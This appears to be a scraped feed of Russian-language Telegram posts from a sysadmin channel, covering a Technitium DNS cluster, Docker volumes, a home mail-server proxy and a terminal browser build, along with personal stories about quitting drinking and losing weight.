Stop Using Pi-Hole – Technitium DNS Is Better
В комментах к посту про «ПИ-ДЫРКУ» ребята посоветовали присмотреться к Technitium DNS. Ну вот я и присмотрелся, прислушался к авторитетному мнению.
ㅤ
Ключевым фактором стало — кластеризация и синхронизация из коробки, без велосипедов на Bash скриптах. Да и по интерфейсу нет ебанутых новогодних ёлок и гирлянд.
Поднял я это у себя на 2х нодах в докерах, одну на малине, другую в proxmox, ну и на роутере прописал чтобы по DHCP раздавались DNSки в локальную сеть.
Поднимается элементарно:
Если нужны енвы или порты, расскоментируй строчки по потребностям, мне хватило минимальных вмешательств.
Затем заходим в морду:
Зоны добавляются в разделе Zones, после добавления зоны, создаешь «A» запись например для домена
Создаём кластер
Чтобы создать кластер, идем во вкладку Administration → Cluster. Создаем кластер, а на второй ноде в этом же разделе жмем кнопку Join Cluster. Заполняем очевидные поля, явки, пароли и радуемся синхронизации.
Теперь при добавлении новой зоны на первой ноде, эта зона улетит на вторую ноду. Главное не забыть выбрать Catalog Zone при добавлении зоны.
Никаких танцев с бубном. Ааа.. Есть танцы, возможно ты столкнешься с ошибкой, что 53 порт уже занят. Это нормально, фиксим:
Если у тебя какие-то другие резолверы стоят, то:
Собственно на этом всё. Базу я тебе показал, дальше сам. А всем кто привел меня к этому решению - спасибо и премного благодарен! Скрасил воскресный вечер не за кружкой бухла, а за полезным занятием.
Изучай!
🛠 #selfhosting #proxmox #devops
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
В комментах к посту про «ПИ-ДЫРКУ» ребята посоветовали присмотреться к Technitium DNS. Ну вот я и присмотрелся, прислушался к авторитетному мнению.
ㅤ
Ключевым фактором стало — кластеризация и синхронизация из коробки, без велосипедов на Bash скриптах. Да и по интерфейсу нет ебанутых новогодних ёлок и гирлянд.
Поднял я это у себя на 2х нодах в докерах, одну на малине, другую в proxmox, ну и на роутере прописал чтобы по DHCP раздавались DNSки в локальную сеть.
Поднимается элементарно:
services:
dns-server:
container_name: technitium-dns1
hostname: technitium-dns1
image: technitium/dns-server:latest
ports:
- 5380:5380/tcp # Web console (HTTP)
- 53:53/udp # DNS service
- 53:53/tcp # DNS service
- "53443:53443/tcp" # Web console (HTTPS)
# Optional ports - uncomment as needed:
# - "853:853/udp" # DNS-over-QUIC
# - "853:853/tcp" # DNS-over-TLS
# - "443:443/udp" # DNS-over-HTTPS (HTTP/3)
# - "443:443/tcp" # DNS-over-HTTPS (HTTP/1.1, HTTP/2)
# - "67:67/udp" # DHCP service
# environment:
# - DNS_SERVER_DOMAIN=dns.local
# - DNS_SERVER_FORWARDERS=10.1.149.10
# Production options:
# - DNS_SERVER_ADMIN_PASSWORD=your_secure_password
# - DNS_SERVER_PREFER_IPV6=false
# - DNS_SERVER_RECURSION=AllowOnlyForPrivateNetworks
volumes:
- technitium-dns-data:/etc/dns
restart: unless-stopped
sysctls:
- net.ipv4.ip_local_port_range=1024 65000
volumes:
technitium-dns-data:
driver: local
networks: {}
Если нужны енвы или порты, расскоментируй строчки по потребностям, мне хватило минимальных вмешательств.
Затем заходим в морду:
http://<IP>:5380 и конфигурируем по необходимости. Зоны добавляются в разделе Zones, после добавления зоны, создаешь «A» запись например для домена
nextcloud.local и прописываешь IP своего nginx proxy manager (далее NPM), ну а дальше в NPM разруливаешь на нужные IP адреса и порты.Создаём кластер
Чтобы создать кластер, идем во вкладку Administration → Cluster. Создаем кластер, а на второй ноде в этом же разделе жмем кнопку Join Cluster. Заполняем очевидные поля, явки, пароли и радуемся синхронизации.
Теперь при добавлении новой зоны на первой ноде, эта зона улетит на вторую ноду. Главное не забыть выбрать Catalog Zone при добавлении зоны.
Никаких танцев с бубном. Ааа.. Есть танцы, возможно ты столкнешься с ошибкой, что 53 порт уже занят. Это нормально, фиксим:
sudo systemctl stop systemd-resolved
sudo systemctl disable systemd-resolved
sudo rm /etc/resolv.conf
sudo ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf
Если у тебя какие-то другие резолверы стоят, то:
sudo systemctl stop dnsmasq
sudo systemctl disable dnsmasq
sudo systemctl stop bind9
sudo systemctl disable bind9
Собственно на этом всё. Базу я тебе показал, дальше сам. А всем кто привел меня к этому решению - спасибо и премного благодарен! Скрасил воскресный вечер не за кружкой бухла, а за полезным занятием.
Изучай!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
5 51
Предыдущий пост от Tagd Tagd про курево хорошо зашел, поэтому продолжаем здоровую тему, ведь айтишники тоже люди. И даже я взялся за ум, недавно прошел курс у аддиктолога и трезв уже 51 день, правда «пост абстинентный синдром» неплохо даёт знать о себе.
ㅤ
Приятного чтива. Поехали!
🔤 🔤 🔤 🔤 🔤 🔤 🔤
Я тут несколько лет назад совсем завязал пить. Даже пятидесятилетие отмечал трезвым.
Если статья наберет хотя бы 70 лайков - продолжу и напишу, как похудел со 130 до 85 кг.
По молодости, особенно в студенческие годы я, конечно, выпивал. Ну не то, чтобы каждый день, но мог насинячится очень сильно.
Однажды я выпил бутылку водки без закуски и так напился, что проснулся на улице от того, что две тетки щупали мне пульс, поверяя, жив ли я или нет.
После этого случая я решил резко сократить потребляемое количество крепкого спиртного до трех рюмок за вечер, и обязательно под хорошую закуску. При этом я сделал неправильный вывод — что лучше пить пиво, чем водку.
Пиво пили регулярно, после работы, а в пятницу — так обязательно. Оказывается напиться можно и пивом. Я однажды из-за этого попал в вытрезвитель...
Но, то ли метаболизм у меня изменился, то ли пиво было не очень. Однажды вечером я выпил пару бутылок пива (~1 литр в сумме) и сразу лег спать.
Проснулся ночью, от того, что чуть не задохнулся. Пиво + апноэ на фоне большого веса очень гремучая смесь. Я не мог продышаться несколько минут. Меня охватил такой ужас, что я навсегда решил завязать с пивом. Просто, чтобы не сдохнуть однажды.
Потом, с возрастом, я начал замечать, что даже после небольшого количества алкоголя на утро чувствую себя хуже, чем обычно. Особенно начали раздражать «мешки» под глазами. Короче, я сделал выводы, и сначала уменьшил количество до одной рюмки за вечер, а потом понял, что разницы между одной рюмкой и ни одной — практически нет. А если разницы нет, то и пить незачем.
У этого решения, кстати, прекрасный побочный эффект — мои дети, видя что я праздники отмечаю без спиртного, не пили даже в студенчестве. Да и не курили тоже.
Видать права английская поговорка: «Не воспитывайте детей — всё равно они будут похожи на вас. Воспитывайте себя…»
Жду 70 лайков и продолжим.
🛠 #рабочиебудни
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Приятного чтива. Поехали!
Я тут несколько лет назад совсем завязал пить. Даже пятидесятилетие отмечал трезвым.
Если статья наберет хотя бы 70 лайков - продолжу и напишу, как похудел со 130 до 85 кг.
Лицензионное соглашение.
Я никого ни к чему не призываю, ничего не рекомендую, ни за что не отвечаю. Просто рассказываю о себе.
По молодости, особенно в студенческие годы я, конечно, выпивал. Ну не то, чтобы каждый день, но мог насинячится очень сильно.
Однажды я выпил бутылку водки без закуски и так напился, что проснулся на улице от того, что две тетки щупали мне пульс, поверяя, жив ли я или нет.
После этого случая я решил резко сократить потребляемое количество крепкого спиртного до трех рюмок за вечер, и обязательно под хорошую закуску. При этом я сделал неправильный вывод — что лучше пить пиво, чем водку.
Пиво пили регулярно, после работы, а в пятницу — так обязательно. Оказывается напиться можно и пивом. Я однажды из-за этого попал в вытрезвитель...
Но, то ли метаболизм у меня изменился, то ли пиво было не очень. Однажды вечером я выпил пару бутылок пива (~1 литр в сумме) и сразу лег спать.
Проснулся ночью, от того, что чуть не задохнулся. Пиво + апноэ на фоне большого веса очень гремучая смесь. Я не мог продышаться несколько минут. Меня охватил такой ужас, что я навсегда решил завязать с пивом. Просто, чтобы не сдохнуть однажды.
Потом, с возрастом, я начал замечать, что даже после небольшого количества алкоголя на утро чувствую себя хуже, чем обычно. Особенно начали раздражать «мешки» под глазами. Короче, я сделал выводы, и сначала уменьшил количество до одной рюмки за вечер, а потом понял, что разницы между одной рюмкой и ни одной — практически нет. А если разницы нет, то и пить незачем.
У этого решения, кстати, прекрасный побочный эффект — мои дети, видя что я праздники отмечаю без спиртного, не пили даже в студенчестве. Да и не курили тоже.
Видать права английская поговорка: «Не воспитывайте детей — всё равно они будут похожи на вас. Воспитывайте себя…»
Жду 70 лайков и продолжим.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
11 216
Volume VS Bind в Docker
Сегодня рассмотрим, как и в каких случаях правильно использовать bind или volume при запуске docker контейнеров.
Пересмотрев кучу docker compose файлов, можно сделать вывод — большинство даж не понимают что они делают. Что печально, прожжённые девопс-инженеры продолжают харкодить и творить дичь. Видимо придерживаются методологии — у меня работает, остальное похуй.
Вообще есть правило:
- Если нужно редактировать файлы руками с хоста, используешь Bind Mount.
- Если данные нужны только приложению (БД, логи, кэш) используешь Volumes.
ㅤ
Шпаргалка, что есть что:
Ну и никто не запрещает это совмещать, но старайся разделять. Тем более при работе с volumes, в docker есть удобные команды, ну и через midnight commander можешь физически потыкать файлы, при условии если есть рутовый доступ к файловой системе.
Самое главное не делай так:
Про этот случай я и писал в начале поста, вроде человек 20 лет отрубил в айтишке, а пишет хуйню.
Тут идет жесткая привязка к путям и после запуска наступишь на грабли, либо получишь по ебалу от бедолаги который это запустит. Короче так не делай!
Bind mount удобен при разработке и отладки. Ты монтируешь папку с исходным кодом проекта. Правишь код в IDE на хосте и изменения мгновенно подхватываются приложением внутри контейнера.
А еще есть полезный флаг: «RO», используется в ситуациях, когда тебе нужно что-бы приложение в контейнере не перезаписывало данные в примонтированном каталоге. Удобно для отладки или для каких-то ограничений.
Пример:
При всём желании, конфиг
Ну и пожелания:
- Используйте именованные тома, вместо анонимных томов (которые выглядят как длинный хеш
- Придерживайся принципа - «Один контейнер — один вольюм». Старайтесь не монтировать один и тот же вольюм в 10 разных контейнеров на запись. Если нужно делиться данными, один контейнер должен быть «владельцем» (RW), а остальные — «потребителями» (RO).
- Бэкап: Правило «3-2-1». Volume — это не бэкап, это просто место хранения. Если ты случайно ёбнешь вольюм командой
Используйте временный контейнер для создания архива:
- Docker со временем накапливает «висячие» (dangling) вольюмы — это те, что остались от удаленных контейнеров. Периодически запускай
- Разницы в скорости между Bind и Volume почти нет, оба работают напрямую через ядро. Но это зависит от операционной системы, если у тебя винда и 100500 абстракций, то будут тормоза.
Вот такие пироги, если есть чё добавить, жду тебя в комментариях.
🛠 #docker #linux #devops
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Сегодня рассмотрим, как и в каких случаях правильно использовать bind или volume при запуске docker контейнеров.
Пересмотрев кучу docker compose файлов, можно сделать вывод — большинство даж не понимают что они делают. Что печально, прожжённые девопс-инженеры продолжают харкодить и творить дичь. Видимо придерживаются методологии — у меня работает, остальное похуй.
Вообще есть правило:
- Если нужно редактировать файлы руками с хоста, используешь Bind Mount.
- Если данные нужны только приложению (БД, логи, кэш) используешь Volumes.
ㅤ
Шпаргалка, что есть что:
# Это docker volume, данные хранятся в
# /var/lib/docker/volumes/
volumes:
- nginx_data:/etc/data
# Это bind mount, данные хранятся рядом
# с файлом docker-compose.yml
volumes:
- ./data:/etc/data
Ну и никто не запрещает это совмещать, но старайся разделять. Тем более при работе с volumes, в docker есть удобные команды, ну и через midnight commander можешь физически потыкать файлы, при условии если есть рутовый доступ к файловой системе.
Самое главное не делай так:
Про этот случай я и писал в начале поста, вроде человек 20 лет отрубил в айтишке, а пишет хуйню.
volumes:
- /home/anus/conf.d:/etc/nginx/cond.f
- /home/anus/data/logs:/var/log/nginx
Тут идет жесткая привязка к путям и после запуска наступишь на грабли, либо получишь по ебалу от бедолаги который это запустит. Короче так не делай!
Я лично предпочитаю volumes и порой даже конфиги в нем храню, потому что этот volume можно легко примаунтить к любому другому контейнеру и получить доступ к этим файлам.
Банально возьмем связку nginx + php-fpm, используем один общий volume и php скрипты корректно выполняются.
Bind mount удобен при разработке и отладки. Ты монтируешь папку с исходным кодом проекта. Правишь код в IDE на хосте и изменения мгновенно подхватываются приложением внутри контейнера.
А еще есть полезный флаг: «RO», используется в ситуациях, когда тебе нужно что-бы приложение в контейнере не перезаписывало данные в примонтированном каталоге. Удобно для отладки или для каких-то ограничений.
Пример:
services:
web:
image: nginx:alpine
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
- ./logs:/var/log/nginx
При всём желании, конфиг
nginx.conf нельзя модифицировать из приложения в контейнере. Это можно сделать только на хостовой машине. Второй же bind mount по умолчанию - «RW».Ну и пожелания:
- Используйте именованные тома, вместо анонимных томов (которые выглядят как длинный хеш
4f32a...) всегда давайте томам осмысленные имена: db_data, app_uploads- Придерживайся принципа - «Один контейнер — один вольюм». Старайтесь не монтировать один и тот же вольюм в 10 разных контейнеров на запись. Если нужно делиться данными, один контейнер должен быть «владельцем» (RW), а остальные — «потребителями» (RO).
- Бэкап: Правило «3-2-1». Volume — это не бэкап, это просто место хранения. Если ты случайно ёбнешь вольюм командой
prune, данные исчезнут.Используйте временный контейнер для создания архива:
docker run --rm -v db_data:/data -v $(pwd):/backup busybox tar cvf /backup/backup.tar /data
- Docker со временем накапливает «висячие» (dangling) вольюмы — это те, что остались от удаленных контейнеров. Периодически запускай
docker volume prune. Оно удалит только те тома, которые не подключены ни к одному контейнеру (включая остановленные).- Разницы в скорости между Bind и Volume почти нет, оба работают напрямую через ядро. Но это зависит от операционной системы, если у тебя винда и 100500 абстракций, то будут тормоза.
Вот такие пироги, если есть чё добавить, жду тебя в комментариях.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
6 64
Please open Telegram to view this post
VIEW IN TELEGRAM
10 112
Почтовый сервер у себя дома
Вчера решал интересную задачку. У меня в интернетах крутится собственный почтовый сервер на домене, сервер ежемесячно поджирает стабильно около 2к рублей. Хотя за месяц от силы я получаю 10-20 писем.
ㅤ
Избыточно в плане инфраструктуры и затрат? Конечно! Разумно перетащить его к себе на домашний proxmox и избавиться от одной статьи расходов.
Во время проектирования миграции, было много вопросов и самый главный — у меня нет белого IP в домашнем сегменте, как быть? DynDNS я ебал, да и с микротиком возиться не хочется.
Всё оказалось достаточно просто. Создаем условно за 100 рублей сервер в интернетах с белым IP, втыкаем на него angie с модулем stream, объединяем этот сервер с домашней сетью с помощью netbird или другой технологией. И просто проксипасим все запросы в домашний сегмент.
Звучит логично. Но на практике пришлось поебстись и почитать спецификации всей этой кухни.
Конфиг для angie получился такой, он работает при условии наличия модуля stream.
Суть тут такая, все запросы на определенные порты, перенаправляются в netbird сеть, а
Получилась банальная прокся. Великолепно то, что angie автоматом получает SSL сертификаты и в почтовых программах с этим заморачиваться не нужно, просто указываем домен, порт и всё работает как часы.
Да, в роле почтового сервера у меня установлен docker-mailserver. Штука классная, установил, пару тычек выписал в конфиг и оно работает. Морды в ней нет, чисто логическая часть, что-то вроде бекенда.
Еще нюанс в конфиге docker-mailserver я прописал SSL сертификаты, эти сертификаты я взял в angie после того как он мне их выдал. В этом плане нужно еще придумать, как организовать передачу этих сертов к себе в proxmox.
Ну и важное уточнение, отправлять почту во вне, тебе в нынешних реалиях никто не даст (25 порт на отправку везде заблочен), поэтому используем какой-нибудь relay для этого. Благо есть полно таких, кто дает отправить 10-15к писем в месяц легально и бесплатно. Я пользуюсь этим сервисом несколько лет.
Что еще. Возможно будут проблемы с SPF, но если оно тебе в хуй не уперлось, то отключаем в конфиге docker-mailserver -
Ну и SIEVE включается там же через
Плюсом можешь воткнуть mail archiver и вообще горя не знать. Теперь все твоиписьки письма под контролем и ты сам себе хозяин этой суеты. Ну и дополнительная экономия на избыточной инфраструктуре.
На этом всё, изучай. Концепт я тебе показал, нюансы рассказал, так что дерзай, всё решаемо.
🛠 #selfhosting #proxmox #devops
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Вчера решал интересную задачку. У меня в интернетах крутится собственный почтовый сервер на домене, сервер ежемесячно поджирает стабильно около 2к рублей. Хотя за месяц от силы я получаю 10-20 писем.
ㅤ
Избыточно в плане инфраструктуры и затрат? Конечно! Разумно перетащить его к себе на домашний proxmox и избавиться от одной статьи расходов.
Во время проектирования миграции, было много вопросов и самый главный — у меня нет белого IP в домашнем сегменте, как быть? DynDNS я ебал, да и с микротиком возиться не хочется.
Всё оказалось достаточно просто. Создаем условно за 100 рублей сервер в интернетах с белым IP, втыкаем на него angie с модулем stream, объединяем этот сервер с домашней сетью с помощью netbird или другой технологией. И просто проксипасим все запросы в домашний сегмент.
Про MX, SPF, DKIM писать не буду, все это настраивается отдельно, не сложно.
Звучит логично. Но на практике пришлось поебстись и почитать спецификации всей этой кухни.
Конфиг для angie получился такой, он работает при условии наличия модуля stream.
nginx
upstream imap_backend {
server 100.106.7.8:993;
}
upstream smtp_backend {
server 100.106.7.8:587;
}
upstream sieve_backend {
server 100.106.7.8:4190;
}
server {
listen 993;
proxy_pass imap_backend;
proxy_timeout 1h;
proxy_connect_timeout 30s;
}
server {
listen 587;
proxy_pass smtp_backend;
proxy_timeout 1h;
proxy_connect_timeout 30s;
}
server {
listen 4190;
proxy_pass sieve_backend;
proxy_timeout 1h;
proxy_connect_timeout 30s;
}
дополнительные порты сам добавь, сюда всё не влезло
Суть тут такая, все запросы на определенные порты, перенаправляются в netbird сеть, а
100.106.7.8 это IP адрес как раз моего LXC контейнера с почтовым сервером в домашнем proxmox.Получилась банальная прокся. Великолепно то, что angie автоматом получает SSL сертификаты и в почтовых программах с этим заморачиваться не нужно, просто указываем домен, порт и всё работает как часы.
sieve_backend нужен, чтобы управлять фильтрами в почте, например при получении письма с определенным заголовком, переносить это письмо в другую папку.Я использую nextcloud mail, и там есть поддержка sieve из коробки. Потыкал еще roundcube для морды, но чёт не зашла, топорная какая-то штука, хотя рабочая.
Да, в роле почтового сервера у меня установлен docker-mailserver. Штука классная, установил, пару тычек выписал в конфиг и оно работает. Морды в ней нет, чисто логическая часть, что-то вроде бекенда.
Еще нюанс в конфиге docker-mailserver я прописал SSL сертификаты, эти сертификаты я взял в angie после того как он мне их выдал. В этом плане нужно еще придумать, как организовать передачу этих сертов к себе в proxmox.
environment:
- SSL_TYPE=manual
- SSL_CERT_PATH=/tmp/dms/custom-certs/certificate.pem
- SSL_KEY_PATH=/tmp/dms/custom-certs/private.key
volumes:
- ./ssl:/tmp/dms/custom-certs/:ro
Банально можно через scp копировать, но в идеале поднять vault hashicorp и хранить серты там и по необходимости дергать от туда в любое место.
Ну и важное уточнение, отправлять почту во вне, тебе в нынешних реалиях никто не даст (25 порт на отправку везде заблочен), поэтому используем какой-нибудь relay для этого. Благо есть полно таких, кто дает отправить 10-15к писем в месяц легально и бесплатно. Я пользуюсь этим сервисом несколько лет.
Что еще. Возможно будут проблемы с SPF, но если оно тебе в хуй не уперлось, то отключаем в конфиге docker-mailserver -
ENABLE_POLICYD_SPF=0.Ну и SIEVE включается там же через
ENABLE_MANAGESIEVE=1.Плюсом можешь воткнуть mail archiver и вообще горя не знать. Теперь все твои
На этом всё, изучай. Концепт я тебе показал, нюансы рассказал, так что дерзай, всё решаемо.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
3 52
С наступающим! Здоровья тебе и твоим близким!
Каждому из вас хочу сказать огромное спасибо за вклад в наше уютное сообщество. Вы все прекрасные специалисты, профессионалы и просто хорошие люди.
Пусть в 2026 году у тебя всё получится, главное не опускай руки и никого не слушай.
Прекрасных тебе праздников и береги себя!
Всех обнял🙃 🙃 🙃
Каждому из вас хочу сказать огромное спасибо за вклад в наше уютное сообщество. Вы все прекрасные специалисты, профессионалы и просто хорошие люди.
Пусть в 2026 году у тебя всё получится, главное не опускай руки и никого не слушай.
Прекрасных тебе праздников и береги себя!
Всех обнял
Please open Telegram to view this post
VIEW IN TELEGRAM
16 181
Ну началось…
ㅤ
Нашел я тебе тут новейший браузер для терминала. Причем не огрызок ебаный вроде
Называется это чудо Brow6el, из пакетов ты его не поставишь, потому что разрабатывает его гикнутый профессор, соответственно тебе придется собрать его самому из исходников.
Благо товарищ побеспокоился об ущербных и дал нам Bash скрипты для билда.
Поехали собирать:
Готово! Теперь запускаем:
Как это работает?
В основе лежит Chromium Embedded Framework (CEF), который рендерит страницы без графического интерфейса. Затем Brow6el преобразует полученное изображение в sixel-графику — формат, который поддерживают многие терминалы. В результате браузер выводит картинку в терминал и обновляет её в реальном времени.
Функции:
- поддержка мыши и клавиатуры
- обычный ввод и прокрутка
- вкладки
- менеджер загрузок
- система закладок
- приватный режим
- JavaScript-консоль
- внедрять скрипты по шаблону URL
Фича: ввод мыши возможен как с реальной мыши, так и через виртуальную мышь, управляемую клавиатурой, что позволяет работать даже если у тебя отсутствует мышь.
Возможно тебе сгодится для тайлинга или чего-то еще. Забирай в копилку.
🛠 #utilites #linux #terminal
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Нашел я тебе тут новейший браузер для терминала. Причем не огрызок ебаный вроде
lynx, а прям полноценный, с поддержкой графики, скриптов и со всеми современными технологиями.Называется это чудо Brow6el, из пакетов ты его не поставишь, потому что разрабатывает его гикнутый профессор, соответственно тебе придется собрать его самому из исходников.
Благо товарищ побеспокоился об ущербных и дал нам Bash скрипты для билда.
Поехали собирать:
git clone https://codeberg.org/janantos/brow6el.git
sudo apt install build-essential cmake gitlibsixel-dev libgtk-3-dev libx11-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev libglib2.0-dev
cd /tmp/brow6el
chmod +x download_cef.sh
./download_cef.sh
mkdir -p build
cd build
cmake ..
make -j$(nproc)
Готово! Теперь запускаем:
cd build
./run_brow6el.sh https://linuxfactory.ru
Как это работает?
В основе лежит Chromium Embedded Framework (CEF), который рендерит страницы без графического интерфейса. Затем Brow6el преобразует полученное изображение в sixel-графику — формат, который поддерживают многие терминалы. В результате браузер выводит картинку в терминал и обновляет её в реальном времени.
Функции:
- поддержка мыши и клавиатуры
- обычный ввод и прокрутка
- вкладки
- менеджер загрузок
- система закладок
- приватный режим
- JavaScript-консоль
- внедрять скрипты по шаблону URL
Фича: ввод мыши возможен как с реальной мыши, так и через виртуальную мышь, управляемую клавиатурой, что позволяет работать даже если у тебя отсутствует мышь.
Короче забавная штука, пользоваться я этим говнищем не буду, но как концепт потыкать вполне себе достойно.
Возможно тебе сгодится для тайлинга или чего-то еще. Забирай в копилку.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
6 77
В хромо подобных браузерах в «Режиме разработчика» есть интересный инструмент, называется «Sensors». Про это очень мало кто знает, поэтому я принес это тебе.
ㅤ
Суть вкладки — можно задать любую геолокацию. По итогу сайты, которые это отслеживают мягко говорю прихуеют. В Sensors можно поменять не только геолокацию (можно свою в пресетах накрутить), но и еще всякие штуки включить — ориентация, тачи а не клики, логическое число CPU.
Короче инструмент подменяет реальные значения на кастомные.
Например, заходишь на сайт, разрешаешь пробив геолокации и сайт видит тебя, что ты вообще — самурай с японской локализацией браузера.
Очень полезно для тестирования приложений, как распределяются воркеры, как работает распараллеливание, обман fingerprinting и т.п.
Ну и плюсом, для тех кто не знал — на вкладке «Network» есть выпадающий список «Trottling», в нем ты можешь выбрать качество интернет соединения, либо задать своё. Ну и посмотреть как будет вести себя сайт например при скорости в 2G.
Вот такие пироги, изучай!
🛠 #services #feature #dev
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Суть вкладки — можно задать любую геолокацию. По итогу сайты, которые это отслеживают мягко говорю прихуеют. В Sensors можно поменять не только геолокацию (можно свою в пресетах накрутить), но и еще всякие штуки включить — ориентация, тачи а не клики, логическое число CPU.
Короче инструмент подменяет реальные значения на кастомные.
Например, заходишь на сайт, разрешаешь пробив геолокации и сайт видит тебя, что ты вообще — самурай с японской локализацией браузера.
Очень полезно для тестирования приложений, как распределяются воркеры, как работает распараллеливание, обман fingerprinting и т.п.
Мы раньше применяли эту фичу для аналитики фишинговых страниц, которые не честно собирали данные про пользователей и отправляли в бигдату с целью дальнейшей обработки.
Ну и плюсом, для тех кто не знал — на вкладке «Network» есть выпадающий список «Trottling», в нем ты можешь выбрать качество интернет соединения, либо задать своё. Ну и посмотреть как будет вести себя сайт например при скорости в 2G.
Вот такие пироги, изучай!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
6 100
Я тут это, капчу накрутил. Создавал под один нищенский нишевый проект.
😲 Сможешь пройти?
ㅤ
Подсказываю — можно накидать bash скрипт, который будет эмулировать нажатие F24 и успешно пройти эту проверку через передачу кейкода в
Концепт на Bash:
Всем хорошей рабочей недели!
🛠 #security #feature #dev
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Подсказываю — можно накидать bash скрипт, который будет эмулировать нажатие F24 и успешно пройти эту проверку через передачу кейкода в
xdotool. Ну либо клавиатуру купить как на картинке.Концепт на Bash:
for i in $(seq 1 50); do
xdotool key F24
sleep 1
done
Всем хорошей рабочей недели!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
5 68
Встречайте новый формат инженерного диалога
T-Sync Conf — офлайн-конференция от Группы «Т-Технологии» для опытных инженеров. 7 февраля в Москве на площадке TAU соберутся платформенные, security- и дата-инженеры, аналитики, DevOps-, SRE-, CI/CD-, AI-, ML-, R&D- и DX -специалисты.
Как все устроено:
— Контуры — тематические зоны, каждая из которых раскрывает отдельный слой инженерной реальности: AI, Data, R&D, Security, Platform и другие направления.
— Вместо классических докладов — круглые столы, стенды, хакатон, воркшопы и мастер-классы.
— Инженерные решения изнутри — возможность посмотреть, как устроены технологии в Т-Банке и других компаниях, и пообщаться напрямую с теми, кто их создает.
А еще много практики, интересных знакомств и живых систем.
Успейте подать заявку
T-Sync Conf — офлайн-конференция от Группы «Т-Технологии» для опытных инженеров. 7 февраля в Москве на площадке TAU соберутся платформенные, security- и дата-инженеры, аналитики, DevOps-, SRE-, CI/CD-, AI-, ML-, R&D- и DX -специалисты.
Как все устроено:
— Контуры — тематические зоны, каждая из которых раскрывает отдельный слой инженерной реальности: AI, Data, R&D, Security, Platform и другие направления.
— Вместо классических докладов — круглые столы, стенды, хакатон, воркшопы и мастер-классы.
— Инженерные решения изнутри — возможность посмотреть, как устроены технологии в Т-Банке и других компаниях, и пообщаться напрямую с теми, кто их создает.
А еще много практики, интересных знакомств и живых систем.
Успейте подать заявку
Tagd Tagd продолжает делиться с нами своими ИТ хаками, тем более после январских праздников у многих кость знатно расширилась. Благо у меня глисты и мне это «наверное» не грозит, но ты почитай, глядишь сгодиться. Поехали!
Часть 1. Рассказ о том, как я похудел со 130 до 85 килограмм.
ㅤ
Видимо я был очень жирным. Пришлось разбить на две части. :-) Это первая часть. Вторая часть здесь.
ИТ - работа с активной умственной работой и отсутствием физической активности. Мозгу нужна глюкоза. Дозировать ее сложно, и поэтому физическое развитие идет в ширину. Оглянитесь - среди айтишников с опытом практически отсутствуют атлеты. Я был такой же. Жирный-мирный. Два раза в год ходил к вертеброневрологу править позвоночник и задыхался при подъеме на третий этаж.
Лицензионное соглашение.
Я никого ни к чему не призываю, ничего не рекомендую, ни за что не отвечаю. Просто рассказываю о себе.
Однажды я встретил знакомого, который постройнел. Он сказал, что просто перестал есть хлеб и сладкое и через месяц у него не стало живота. Это послужило триггером, и я решил попробовать.
Похудение - не диета. Это изменение образа жизни!!! Тут все просто, как в арифметике - есть потребляемые калории, есть расходуемые. Чтобы худеть — нужно меньше жрать калорий.
Я худел в несколько этапов.
1. Отказался от мучных и сладких изделий.
2. Отказался от газированных напитков и соков.
3. Заменил колбасу/сосиски на курятину/индюшатину/рыбу (но не соленую и не консервы).
4. Меняем сливочное масло → сыр → творог. Сметана → кефир.
5. Исключил картофель, добавил в рацион больше каши (гречка, пшеничка, перловка, овсянка). Все без сливочного масла, но с овощами.
6. Уменьшил порции (просто купил маленькую пиалу, и решил, что еда в ней должна быть «без горки».
7. Чай/кофе с одной ложкой сахара можно только 3 раза в день (завтрак/обед/ужин). В остальное время вода. Можно теплая/горячая.
8. Жареное лучше заменить на вареное/тушеное.
9. Увеличил количество овощей и фруктов в рационе. ⭐️
Прядок не важен (кроме последнего) - Применили один пункт - Подождали, Продолжили.
👆 Если Вы что-то убираете из рациона - добавьте овощи или фрукты. И Это НАВСЕГДА!!!
Я худел в несколько этапов. На первом этапе снизил вес со 130 до 105. Потом полка. Привыкал к новому весу.
Затем снизил до 95. И опять полка.
Сначала я худел по 10 кг за месяц. И это было неправильно. Меня шатало, настроение было очень плохим, упали когнитивные способности. Правильный темп похудения - 3-4% текущей массы тела в месяц.
Раз в неделю один завтрак | обед | ужин можно есть - что захочется (я ел мороженное). Но только раз в неделю и только один прием пищи, с соблюдением правила пиялки.
Потом с 95 до 83. Сегодня у меня ~85. Всем Здоровья!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
3 93
Часть 2. Рассказ о том, как я похудел со 130 до 85 килограмм.
🔤 🔤 🔤 🔤 🔤 🔤 🔤
Ну, и теперь просто несколько личных фактов про похудение:
* При очень быстром похудении может быть холодно. Падает температура тела (у меня по утрам была 35). Это не хорошо. Влияет на жизнедеятельность бактерий внутри.
* Если не есть овощи/фрукты и йогурт/кефир могут возникнуть проблемы с пищеварением.
* Некоторые фрукты с "вяжущим" вкусом лучше исключить на время снижения веса. Например незрелые груши, айва, хурма.
* Морковь нужно есть со столовой ложкой растительного масла. (желательно чуть отварить или протушить)
* Если хочется чая/кофе, то на самом деле мозг требует сахара. Попробуйте выпить чай/кофе/воду пару раз без сахара, и желание что-нибудь выпить быстро пропадет.
* Если съесть/выпить сладкое - есть хочется значительно сильнее, чем раньше.
* Если вышел из-за стола с чувством, что наелся - значит переел.
* Оглянитесь, есть ли в вашем окружении "пушеры" (люди которые предлагают/подбивают съесть лишнего или ненужного). Минимизируйте общение с ними.
